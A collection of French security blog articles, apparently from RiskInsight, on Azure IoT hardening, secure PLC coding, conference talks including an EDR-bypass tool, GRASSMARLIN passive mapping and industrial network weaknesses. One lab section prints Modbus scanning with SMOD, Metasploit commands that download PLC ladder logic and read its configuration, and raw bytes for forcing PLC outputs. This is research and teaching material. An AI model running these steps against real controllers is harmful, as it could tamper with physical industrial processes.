Le choix du moyen d’authentification pour Azure IoT dépendra des exigences de sécurité de votre solution. Si vous avez besoin d’une sécurité élevée et que vous avez une infrastructure pour gérer les certificats, alors l’authentification par certificat X.509 est une bonne option. Cependant, si vous recherchez une solution simple à gérer et à utiliser, le jeton SAS pourrait être plus adapté à vos besoins.

2^ème vecteur de sécurisation : RBAC et alertes

L’assignement des rôles sur votre infrastructure Azure IoT doit être réfléchi et défini selon les besoins des utilisateurs. Une définition de rôles et de permissions précise permet de limiter l’accès aux ressources et aux divers fonctionnalités disponibles sur la plateforme. Les différents services Azure IoT fournissent une multitude de rôles préconfigurés qui peuvent être adaptés à vos besoins et à votre organisation. Ensuite, appliquer le principe du moindre privilège, et limiter le nombre de comptes disposant de privilèges importants, permet d’améliorer le niveau de sécurité de votre infrastructure Azure IoT.

Azure CLI permet notamment de lister les utilisateurs possédant des droits sur la ressource Azure IoT souhaitée, ainsi que leurs rôles associés. La commande suivante permet de réaliser cette action :

Il est possible d’utiliser des sélecteurs de chaînes de caractères (Select-String pour Powershell, grep pour Bash) afin de ne récupérer que les informations souhaitées.

Dans l’exemple ci-dessous, les noms, types et rôles ont été les seuls éléments récupérés à l’aide de Select-String :

La fonction des rôles intégrés Azure est disponible à cette page.

De plus, la configuration d’alertes basées sur les métriques de vos services Azure IoT est un autre outil à prendre en compte. Des alertes peuvent être configurées pour détecter des comportements suspects ou des anomalies, et ainsi permettre une investigation rapide sur votre infrastructure. Azure met à la disposition de ses clients une large collection de signaux permettant de définir des conditions d’alertes. Il est également possible de définir des signaux d’alertes customisés via le langage de requête utilisé par Azure Log Analytics.

Le Portail Azure est le moyen le plus facile pour mettre en place des alertes basées sur les données collectées par le IoT Hub. Par exemple, pour définir une règle d’alerte de journal, il faut :

1. Aller sur la page de management du IoT Hub souhaité ;
2. Aller dans la sous-catégorie Logs de la catégorie Monitoring;
3. Choisir une règle en utilisant le langage de Azure Log Analytics ;
4. Ajouter une règle d’alerte liée à cette requête ;
5. Choisir l’opérateur, l’unité, la valeur seuil, la récurrence de vérification et la période concernée par la règle.

Ces actions sont résumées par les captures d’écran ci-dessous :

Il suffira ensuite de choisir un groupe d’action lié à un type d’action (envoi de mail, de SMS, etc.).

L’exemple donné entrainera une action si le nombre de connexions échouées d’objets connectés à l’IoT Hub concerné dépasse les 10 échecs en 10 minutes ou moins.

En complément, un guide détaillé prenant la forme d’un tutoriel est disponible sur la documentation Azure. Il est à noter que ce service est payant en supplément.

3^ème vecteur de sécurisation : le service en lui même

Enfin, la mise en place d’une configuration adéquate des services Azure IoT est un autre élément clé pour améliorer le niveau de maturité cyber de la plateforme. Cela inclut des options telles que par exemple les règles de routage ou encore paramétrer la version minimum de TLS utilisé par les appareils pour se connecter sur Azure IoT Hub.

Les règles de routage sont utilisées pour rediriger les messages des appareils IoT vers un point de terminaison (stockage, services, base de données, etc.) et sont paramétrables par des requêtes de routage. Il est recommandé de filtrer les messages entrants, via les requêtes de routage, afin d’augmenter la sécurité de votre solution IoT.

La vérification de la version minimale de TLS acceptée peut être faite à l’aide d’Azure CLI : en effet, un IoT Hub possède l’attribut minTlsVersion permettant de contrôler cette propriété. Cette vérification est réalisée à l’aide de la commande suivante :

Si cette commande ne retourne rien, ou retourne une valeur inférieure à 1.2, alors la configuration n’est pas satisfaisante.

Le portail d’Azure permet également d’effectuer cette vérification :

En synthèse

La sécurité est un enjeu majeur pour les projets IoT : Microsoft, avec son produit Azure IoT, fournit une plateforme IoT répondant à une majorité des besoins IoT, et ce de manière sécurisée, sous couvert d’en faire la bonne configuration. Au cours de cette article, nous avons abordé des recommandations permettant d’améliorer le niveau de sécurité de votre infrastructure Azure IoT.

Il est important de garder en tête que d’autres vecteurs d’attaques existent, tels que les vulnérabilités matérielles et logicielles ainsi que les réseaux utilisés par les dispositifs IoT.  En somme, la sécurité d’une infrastructure IoT est un défi complexe qui nécessite une approche de bout en bout.

Avec la participation de Marius ANDRE

[1] “Magic Quadrant for Global Industrial IoT Platforms”

https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&ct=221116&st=sb

[2] “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”

https://www.rfc-editor.org/rfc/rfc5280

Cet article Améliorer la sécurité de son infrastructure IoT : conseils de configuration et bonnes pratiques sur Azure IoT est apparu en premier sur RiskInsight.

Cependant, dans le domaine des SI industriels, on ne parle quasiment jamais de la sécurité du code automate qui contrôle le procédé industriel. Pourquoi ?

Genèse du projet

Le projet a débuté avec la présentation de Jake Browdsky lors de la conférence S4 en 2019 

Dans cette conférence, le concept de sécurisation du processus industriel par l’application de pratiques de programmation sécurisée dans le code de l’automate est discuté et plusieurs exemples sont mentionnés.

Cette idée a ensuite été transformée en un projet collaboratif par Sarah Fluchs et Vivek Ponnada, auquel plus de 900 personnes ont contribué avec leurs idées !

Automates Programmables Industriels

Les automates programmables industriels (Programmable Logic Controller en anglais) sont situés au cœur de l’automatisation, au niveau 1 du modèle de Purdue.

Représentation ISA du modèle de Purdue

Le modèle de Purdue est-il mort ? – Dale Peterson : ICS Security Catalyst (dale-peterson.com)

Les automates programmables sont des ordinateurs embarqués avec un système temps-réel qui interagissent directement avec les capteurs et les actionneurs pour surveiller et contrôler une partie du processus industriel.

Ils exécutent une boucle infinie, composée de 4 étapes :

La « logique », ou code de l’automate, peut être écrite dans différents langages, tels que définis dans la norme CEI 61131-3 :

• Ladder Diagram
• Function Block Diagram
• Structured Text
• Instruction List [désormais obsolète]
• Sequential Function Chart

Le document TOP20

Le document TOP20 est le résultat des échanges en ligne visant à identifier les 20 pratiques de programmation les plus importantes et peut être téléchargé sur le site du projet.

Comme le TOP10 de l’OWASP, il ne vise pas à décrire toutes les pratiques de programmation sécurisée possibles, du moins pour le moment.

Chacune des pratiques du TOP20 est détaillée avec les mêmes informations :

Les 20 pratiques peuvent être organisées en trois catégories principales :

Quelques exemples

Voyons un exemple de chaque catégorie. Pour cela, nous utiliserons un automate d’entrée de gamme de notre laboratoire, un feu de signalisation ainsi qu’une supervision SCADA.

Malheureusement, chaque fournisseur d’automates – et même chaque famille d’automates – utilise son propre logiciel de programmation ; les exemples présentés ici ne peuvent donc pas être copiés-collés dans le code d’une autre marque d’automates et nécessiteront une implémentation différente.

Le code de l’automate ainsi que le projet SCADA utilisé pour la démonstration peuvent être téléchargés depuis notre page github.

Règle n°13 : Désactiver les ports et protocoles de communication inutiles / inutilisés

Cette pratique consiste à durcir l’automate. La plupart des automates d’aujourd’hui offrent un support pour plusieurs protocoles industriels, ainsi qu’une variété de services supplémentaires comme un serveur de fichier FTP, un serveur web et bien d’autres.

Désactiver les services non utilisés et renforcer la sécurité de ceux qui sont activés (changer les identifiants par défaut, etc.) est une étape nécessaire pour réduire la surface d’attaque et, par conséquent, limiter le nombre de correctifs de sécurité à appliquer à l’avenir (moins il y a de fonctionnalités activées, plus les vulnérabilités sont pertinentes, facilitant l’effort pour les corriger).

Jetons un coup d’œil à la vidéo :

Règles n°6 et n°8 : Vérification des entrées au niveau de l’automate.

Ces deux règles peuvent être démontrées dans le même exemple car elles suivent le même principe : ne pas faire aveuglément confiance aux entrées externes ! Pour quelqu’un comme moi qui a fait sa part de test d’intrusion d’applications web, je ne pourrais être plus d’accord !

Les plages valides pour les valeurs d’entrée sont souvent mises en œuvre au niveau SCADA, laissant la possibilité à un attaquant d’écrire directement une valeur hors plage dans le bon registre de l’automate.

Cela est particulièrement vrai pour les compteurs et les chronomètres, qui doivent être vérifiés pour s’assurer qu’ils sont supérieurs ou égaux à zéro, et que la valeur est inférieure à une limite supérieure qui a du sens pour le processus.

Jetons un coup d’œil à la vidéo :

Surveillance de l’automate programmable règles n°2 et n°5

Nous pouvons exploiter les données opérationnelles de l’automate pour essayer de détecter des situations anormales qui pourraient être des incidents de cybersécurité.

État de l’automate

S’assurer que l’automate est en mode « RUN » est essentiel pour la sûreté et la sécurité des opérations. Un automate à l’arrêt pourrait empêcher l’IHM SCADA d’afficher les bonnes informations à l’opérateur, ce qui entraînerait de mauvaises décisions.

De même, des fonctions telles que le « forçage » des entrées et des sorties peuvent empêcher l’IHM SCADA d’afficher l’état réel du processus, et doivent être détectées et clairement affichées à l’opérateur.

Jetons un coup d’œil à la vidéo :

Cette technique peut également être utilisée pour détecter les automates en mode « PROGRAM », ce qui permet de programmer l’automate à distance.

Firmware de l’automate et version du code

Ne serait-il pas formidable de pouvoir interroger la version du firmware de votre automate directement à partir d’un registre Modbus ? Eh bien, c’est possible !

En outre, sur notre automate, nous pouvons également obtenir une somme de contrôle du code de l’automate, ce qui signifie que nous pouvons détecter si quelqu’un a altéré le code de l’automate, déclencher une alarme et enquêter si nous ne pouvons pas faire correspondre cela à une entrée dans le registre de gestion des modifications.

Jetons un coup d’œil à la vidéo :

Alors, que pouvez-vous faire ?

Le document sur le top 20 est facilement disponible, mais comment l’utiliser ?

Si vous souhaitez en savoir plus sur la sécurité du code automate, vous pouvez également consulter le contenu que nous avons présenté lors de nos ateliers à DEFCON et BruCON sur notre page Github.

Cet article Top 20 Secure PLC Coding Practices est apparu en premier sur RiskInsight.

(Thomas est absent sur cette photo car il a déjà quitté DEFCON pour participer au SANS DFIR Summit à Houston, Texas).

Dans cet article, nous partageons les supports & code utilisés pour nos conférences, ateliers et démonstrations d’outils.

CI/CD security

Les pipelines CI/CD font de plus en plus partie de l’infrastructure standard des équipes de développement. Avec la montée en puissance de nouvelles approches telles que l’Infrastructure as Code, le niveau de sensibilité de ces pipelines augmente rapidement. En cas de compromission, ce ne sont plus seulement les applications qui sont en danger mais les systèmes sous-jacents eux-mêmes et bien souvent l’ensemble du système d’information.

Nous pensons que ces infrastructures, bien qu’elles ne soient pas ciblées par les attaquants pour le moment, deviendront un point de mire privilégié pour les attaquants dans les années à venir. À la fois en raison des informations d’identification manipulées par les pipelines et du manque habituel de surveillance de ces environnements.

Lors du Hacking Summer Camp, nous avons expliqué comment les attaquants commencent à exploiter ces faiblesses à la fois pour des attaques de chaînes d’approvisionnement mais aussi pour élever leurs privilèges au sein du SI victime. Nous avons commencé par une présentation au BSides Las Vegas qui illustrait un chemin d’attaque que nous avions déjà exploité en opération réelle. Ensuite, nous avons organisé deux workshops, aux BSides Las Vegas et à la DEFCON, pour permettre aux participants d’exploiter ces attaques dans un laboratoire grandeur nature.

Les slides et les ressources techniques seront bientôt publiées sur notre GitHub (https://github.com/wavestone-cdt/DEFCON-CICD-pipelines-workshop).

Le replay de la conférence à Bsides Las Vegas est disponible sur YouTube : https://youtu.be/a3SeASgtINY.

Par Rémi ESCOURROU (@remiescourrou), Gauthier SEBAUX (@zeronounours) et Xavier GERONDEAU (@reivaxxavier1).

Systèmes de contrôle industriel

Cette année, nous avons animé deux workshops sur la cybersécurité des SI industriels à la DEFCON :

Une version actualisée de notre très populaire atelier « Pentesting ICS 101 »:

Nous avons abordé les bases du SI industriel et partagé un retour d’expérience sur l’état de la cybersécurité de ces environnements. Ensuite, à l’aide de machines virtuelles préconfigurées, nous avons appris à échanger des données avec des automates. Ces connaissances ont ensuite été mises en pratique sur du matériel réel avec notre maquette de train :

Un tout nouvel atelier sur la sécurité du code PLC

Nous avons également commencé par une introduction aux ICS, puis nous nous sommes plongés dans la programmation d’un automate logiciel et avons montré comment l’application des pratiques du PLC TOP20 peut prévenir les attaques et/ou aider à les détecter.

Pour ce faire, nous avons également créé une simulation de processus très simplifiée qui se connecte au simulateur de PLC, que nous publions également. Cette simulation pourrait être utilisée et adaptée pour la sensibilisation et la formation aux SCI.

Les slides sont disponible ici : GitHub – wavestone-cdt/plc-code-security: Experiments with the Top 20 Secure PLC Coding Practices

Vous pouvez trouver notre simulation de processus ici : https://github.com/arnaudsoullie/simple-process-simulation

DEFCON30 demo lab: EDRSandblast

Nous avons partagé une version nouvelle et améliorée d’EDRSandblast lors des sessions Demo Lab à DEFCON 30. Ce fut l’occasion de présenter et de détailler les mécanismes de détection employés par les EDRs (user-land hooking, kernel callbacks, ETW Threat Intelligence provider …), de montrer comment les contourner, ainsi que de présenter les nouvelles fonctionnalités de notre outil. La liste des mises à jour est la suivante : un nouveau mécanisme de détection est reconnu et contourné par l’outil, plusieurs pilotes vulnérables sont désormais pris en charge, EDRSandblast peut désormais être inclus en tant que bibliothèque dans un projet tiers, et bien plus encore !

Vous pouvez trouver la liste complète des mises à jour, ainsi que la présentation sur GitHub : https://github.com/wavestone-cdt/EDRSandblast/blob/DefCon30Release/DEFCON30-DemoLabs-EDR_detection_mechanisms_and_bypass_techniques_with_EDRSandblast-v1.0.pdf

Par Maxime MEIGNAN (@th3m4ks) et Thomas DIOT (@_Qazeer).

SANS DFIR Summit 2022

Dans cette présentation, nous avons donné un bref aperçu de la procédure de récupération d’une forêt AD et nous nous sommes concentrés sur les différents moyens de persistance utilisés par les attaquants sur Active Directory, certains bien connus, d’autres moins. Certaines fonctionnalités de la nouvelle boîte à outils PowerShell de FarsightAD ont également été présentées, comme la détection d’objets entièrement ou partiellement cachés à l’aide du protocole Directory Replication Service.

Vous pouvez trouver les slides et l’outil FarsightAD ici : https://github.com/Qazeer/FarsightAD

Par Thomas DIOT (@_Qazeer).

Bonne lecture, bon tests, Hack the Planet

Cet article L’été cybersécurité de Wavestone est apparu en premier sur RiskInsight.

Notre méthodologie d’audit

Retrouvez l’étude détaillée et le replay du webinar.

Cet article Cybersécurité des sites industriels : benchmark sur 40 audits est apparu en premier sur RiskInsight.

Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.

root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0

root@kali:~/smod# python smod.py 
< SMOD >
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD > use modbus/scanner/getfunc
SMOD modbus(getfunc) > show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) > set RHOSTS 192.168.0.110
SMOD modbus(getfunc) > set UID 1
SMOD modbus(getfunc) > exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.

On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :

Capture réseau des échanges entre le logiciel de programmation et un automate Schneider

 

msf auxiliary(modicon_stux_transfer_ASO) > set ACTION DOWNLOAD
ACTION => DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) >

• Insérons le fichier « .apx » dans l’archive

root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#

• Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :

Affichage du code « ladder » dans Unity Pro

 

msf > use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) > show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) > set ACTION GATHER_INFOS 
ACTION => GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) > show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) > set RHOST 192.168.0.110
RHOST => 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed

Informations sur le projet dans Unity pro

 

[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02

La valeur de forçage est déterminée par le dernier octet :

• 0x03 pour 0
• 0x02 pour 1
• 0x04 pour annuler le forçage

Conclusion et sécurisation

Cet article Fun with Modbus 0x5A est apparu en premier sur RiskInsight.

La première étape dans un projet de sécurisation de son SI industriel est bien souvent la création, ou la fiabilisation, d’un inventaire de l’ensemble des composants. En effet, l’inventaire et la documentation existante peuvent s’avérer insuffisant ou non-fiable.
C’est à ce besoin que répond l’outil GRASSMARLIN en fournissant une solution de cartographie réseau passive adaptée au secteur industriel.

Présentation de GRASSMARLIN

GRASSMARLIN est un outil permettant de cartographier de manière passive un réseau industriel. Cet outil, premièrement développé par la National Security Agency (NSA) des États-Unis est désormais Open-Source et directement accessible sur GitHub (https://github.com/iadgov/GRASSMARLIN).
L’outil GRASSMARLIN permet d’obtenir une image ou « snapshot » du système d’information (SI) industriel avec notamment:

• Les équipements présents
• Les communications existantes entre les équipements
• Des méta-informations obtenues à partir des communications (localisation, constructeurs)

L’outil est disponible sur la plateforme Windows (version 7+, 64bits uniquement), certaines distributions Linux (Fedora, Ubuntu) et est téléchargeable au lien suivant : https://github.com/iadgov/GRASSMARLIN/releases/latest.

Une perte de disponibilité d’un équipement du SI industriel pouvant avoir des conséquences importantes (arrêt de la production, perte de visibilité pour les opérateurs, …), la cartographie est entièrement passive. Les communications sont enregistrées puis analysées, contrairement à un scan actif avec nmap ou plcscan qui vont activement envoyer des paquets à destination de toutes les adresses IP et analyser les éventuels retours.

Fonctionnement de Grassmarlin

GRASSMARLIN permet d’obtenir deux types de topologies du réseau industriel :

• La « Logical View » : fournit une liste des équipements présents et des communications existantes, nommée par la suite la vue logique.
• La « Physical View » : permet d’obtenir les liens physiques entre les équipements en donnant par exemple le numéro de port d’un routeur auquel un automate est connecté, nommée par la suite la vue physique.

La détection passive

La méthode de découverte de réseau étant passive l’outil GRASSMARLIN ne génère aucun trafic sur le réseau. Ainsi afin d’obtenir des résultats de la vue logique ce dernier va simplement écouter les communications sur le réseau tel un analyseur de trame classique. En d’autres termes, GRASSMARLIN ne pourra analyser que les communications qu’il est en mesure d’écouter sur sa machine hôte.

Il est aussi possible d’obtenir une topologie réseau à partir de captures réseaux (fichiers PCAP) générées à des instants ultérieurs à d’autres points du réseau.
De même, pour générer la vue physique GRASSMARLIN utilise des logs de routeur Cisco et reste donc totalement passif.

Vue logique

Dans cette vue, la topologie du réseau se présente comme suit :

La carte principale à droite permet de donner les équipements présents, identifiés par leur adresse IP, ainsi que les communications existantes entre les équipements et les sous-réseaux IP.
Par ailleurs, GRASSMARLIN reconnait à l’aide de signatures les protocoles et équipements industriels :

Dans le cas présent, le protocole utilisé est bien reconnu comme S7comm. Le rôle des équipements dans les communications est aussi informé : le master (ou maître) donne les consignes lorsque le slave (ou esclave) exécute les commandes. Le Vendor Name (nom du constructeur) est donné et permet aux gestionnaires de parcs industriels de pouvoir se repérer plus aisément. Enfin, dans le cas où les adresses IP sont publiques (ce qui n’est pas le cas ici) le pays d’origine de l’équipement est informé.
Ces informations sont générées suite à la confrontation des captures réseaux avec les signatures connues par GRASSMARLIN, l’attribut Confidence (confiance) échelonné de 1 (non confiant) à 5 (confiant) informe alors sur le degré de véracité des informations données.
GRASSMARLIN fournit aussi une vision textuelle de la carte à l’aide d’un arbre de connections (présent à gauche sur la figure 2) renseignant les équipements par sous-réseaux.
Il est aussi possible d’isoler les communications liées à un équipement en particulier et d’obtenir des premiers éléments d’analyses tels que : la taille des paquets échangés, l’instant t de l’échange, l’origine du paquet (si plusieurs fichiers PCAP’s sont utilisés) :

Signatures protocolaires

GRASSMARLIN embarque des signatures permettant de reconnaitre les protocoles utilisés sur la vue logique.
Chaque signature peut être composée de deux types d’élément :

• L’élément Filter (ou filtre) qui décrit un attribut à détecter.
• L’élément Payload (ou charge utile) qui permet de retourner des informations à l’utilisateur.

Une signature peut contenir plusieurs Filter et chaque Payload fait référence à un Filter :

Figure 5 : Exemple de signature MODBUS

Les Filter permettent essentiellement de décrire des attributs protocolaires des couches 2 à 4 du modèle OSI. Voici une liste des Filter actuellement disponibles :

Les Payload quant à eux permettent de rajouter une description à un élément réseau, d’extraire des valeurs d’un paquet ou encore d’afficher une information en fonction de la présence d’un motif dans un paquet.
La version actuelle de GRASSMARLIN (v3) compte 54 signatures couvrant les protocoles industriels couramment utilisés. Du fait du récent passage de l’outil en open-source (28/01/16) il est probable que la bibliothèque de signature s’enrichisse avec les années à venir.
Les signatures sont éditées sous le format XML néanmoins un outil graphique est proposé – FingerPrint Editor – afin de permettre une création plus aisée de signatures :

Vue physique

La topologie physique permet d’obtenir les connexions physiques existantes entre les équipements.

Ces vues, plus orientées connectivité réseau, permettent d’obtenir les liaisons physiques existantes entre les équipements industriels et leurs connexions aux équipements réseaux.
À ce jour seul les routeurs Cisco sont supportés et les vues sont générées à partir des résultats des 3 commandes suivantes :

• “show running-config”
• “show ip arp” (OU) “show mac address-table”
• “show interfaces”

Une fois la sortie de ces commandes enregistrée dans un fichier texte, GRASSMARLIN est en mesure de générer à partir de ce dernier la vue physique.

Partage de données

L’exportation des données est gérée par GRASSMARLIN avec 3 types d’export

• L’exportation des vues sous format d’images (PNG).
• L’exportation des données sous format XML :
  • Enregistre l’ensemble de l’arbre de connexion de la vue logique.
  • Ces données peuvent être utilisées comme des données de session lors de prochaine importation.
• L’exportation des données en partage : création d’une archive avec les données sous format XML et les fichiers de captures réseaux générés.

Tests sur banc d’essai

Des tests sur une des maquettes SI industriel de Solucom ont été réalisés afin de confronter l’outil à un cas d’utilisation concret avec de réels équipements industriels.

Présentation banc d’essai

Le banc d’essai simule un aiguillage de train et est composé de :

• 1 interface homme/machine (IHM) Siemens ;
• 1 automate Siemens ;
• 2 automates Schneider ;
• 1 switch manageable.

Un poste de travail disposant de Grassmarlin est directement connecté à un port en mirroring sur le switch et accède donc à l’ensemble des communications de la maquette. Par ailleurs, aucun équipement Cisco n’étant présent sur la maquette seule la vue logique a été testée.

Réalisation des tests

Suite à une capture en temps réel des trames, GRASSMARLIN a pu générer la vue logique suivante :

Le temps d’apparition des équipements sur la carte est quasi-instantané dès réception des flux. GRASSMARLIN identifie bien l’ensemble des équipements présents tout en donnant les protocoles de communications utilisés.
De même, un fichier XML de sortie est correctement généré à partir des fonctions d’export. Ce dernier résume l’ensemble des informations extraites par GRASSMARLIN et permet de réutiliser les données plus facilement :

Cependant, certaines limitations ont pu être observées :

• La non-concurrence des signatures
  Si un équipement répond à plusieurs signatures alors seule une signature est détectée. Ceci peut notamment poser problème dans le cas d’une IHM qui communique potentiellement avec différents automates en utilisant plusieurs protocoles de communication.
• Le manque de verbosité de certaines signatures
  Les signatures comportent des champs descriptions dans leur Payload permettant de décrire au mieux le rôle de l’équipement identifié. Il est possible que ces champs soient laissés initialement vides ou peu renseignés ce qui peut compliquer la tâche d’identification.
• Une analyse des échanges peu aboutie
  GRASSMARLIN ne fournit actuellement que les premiers éléments d’analyse sur les communications : tailles des paquets, instants d’envois. Dans les pistes d’améliorations de sa fonction d’analyse nous pourrions par exemple citer l’implémentation d’une fonction de reconnaissance de cycles dans les échanges entre IHM et automates.

Conclusion

D’autres outils de détection passive de topologie sont disponibles sur le marché. Cependant GRASSMARLIN est actuellement l’un des rares, si ce n’est l’unique, à être destiné au SI industriels et à être Open-Source.
En comparaison un autre outil nommé NetworkMiner permet aussi de réaliser des topologies de réseaux en utilisant les signatures d’autres outils dont notamment : nmap, p0f et Ettercap . Néanmoins, ce dernier n’embarque pas à l’installation de signatures destinées aux protocoles industriels et n’est donc pas aussi précis que GRASSMARLIN.

Citons également la solution commerciale de Sentryo, dédiée elle aux SI industriels. Cette solution ne se contente pas de créer une cartographie à l’instant t, mais permet également d’alerter sur toutes variations par rapports aux communications habituelles, et ainsi de détecter des événements de sécurité. Lors de la démonstration à laquelle nous avons assistée, le niveau de détail fourni sur les automates (Schneider et Siemens à minima) était bien supérieur à celui qu’on peut actuellement obtenir avec Grassmarlin (marque, modèle, composants de l’automate et version du firmware par exemple).

Cet article Test de Grassmarlin, outil open-source de cartographie passive pour SI industriels est apparu en premier sur RiskInsight.

La sécurité informatique a fait du chemin ces dernières années. Désormais, toute entreprise de taille respectable dispose de sa politique de sécurité des systèmes d’information. Des sessions de sensibilisation des utilisateurs à la sécurité sont réalisées. Une gouvernance sécurité s’est même mise en place : le RSSI pilote, définit des KPI, analyse ses tableaux de bords SSI. Mais la technique n’est pas non plus oubliée ; on sait désormais que rien ne vaut un test d’intrusion pour vérifier, en imitant les méchants hackers, le niveau de sécurité d’une application ou d’un SI. Et ils vécurent heureux et ne subirent aucune attaque ? Pas si sûr…

Cet article Le fardeau du pentesteur est apparu en premier sur RiskInsight.

Une sécurisation insuffisante, voire inexistante

Les automates programmables industriels (API), en charge de l’interface avec le monde physique, n’intègrent souvent que peu de fonctions de sécurité et les failles de sécurité publiques les concernant sont nombreuses. L’ICS-CERT a ainsi publié près d’une centaine de bulletins de vulnérabilités sur des composants industriels. Les protocoles de communication utilisés sont un des maillons faibles de la chaîne. Ces protocoles, parmi lesquels on peut citer Modbus, permettent l’échange de consignes ou de valeurs en clair, sans chiffrement.

De même, les possibilités d’authentification des actions sont souvent limitées, permettant à n’importe quel attaquant ayant accès au réseau de modifier les consignes des automates et ainsi d’influer sur leur comportement. Les interfaces d’administration des automates sont par ailleurs souvent protégées par des mots de passe par défaut, jamais changés, et qui parfois ne peuvent pas l’être. Les systèmes plus intégrés appelés SNCC (Systèmes Numériques de Contrôle-Commande) ne sont pas garants d’une sécurité accrue, les protocoles propriétaires utilisés n’apportant pas forcément une réelle couche de sécurité.

La situation est identique pour les PC de supervision ou de programmation qui sont souvent des équipements reposant sur des technologies standard, tels que des systèmes d’exploitation Microsoft Windows. Malheureusement, l’expérience sécurité acquise sur le SI de gestion pour ces équipements profite rarement à leur sécurisation sur la partie industrielle. Les étapes de durcissement sécurité sont rares, de même que l’application de correctifs de sécurité, ou encore la présence d’un antivirus. Il est fréquent de pouvoir prendre le contrôle de ces systèmes par l’exploitation d’une faille de sécurité datant de près de 6 ans.

Un cloisonnement tout à fait relatif

De plus, les équipements du SI Industriel sont très largement interfacés avec les SI de gestion. Le cloisonnement entre ces deux mondes est souvent permissif. Il arrive même que le filtrage autorise l’accès à certains équipements industriels depuis l’ensemble du réseau interne d’une entreprise, ce qui peut représenter plusieurs dizaines de milliers de machines.
Les postes de programmation et clés USB constituent également des vecteurs d’attaques puisqu’ils sont connectés à des réseaux de niveau de sécurité hétérogène, voire à des environnements non-maîtrisés (par exemple dans le cas de sous-traitants).

Pire encore, il arrive trop souvent que des équipements industriels soient accessibles directement sur internet. Il existe même des moteurs de recherche dédiés à la recherche d’équipements exposés sur internet, Shodan étant le plus connu. Près de 1500 équipements Modbus sont ainsi recensés en France sur Shodan et plus de 20 000 dans le monde.

Un constat d’échec ?

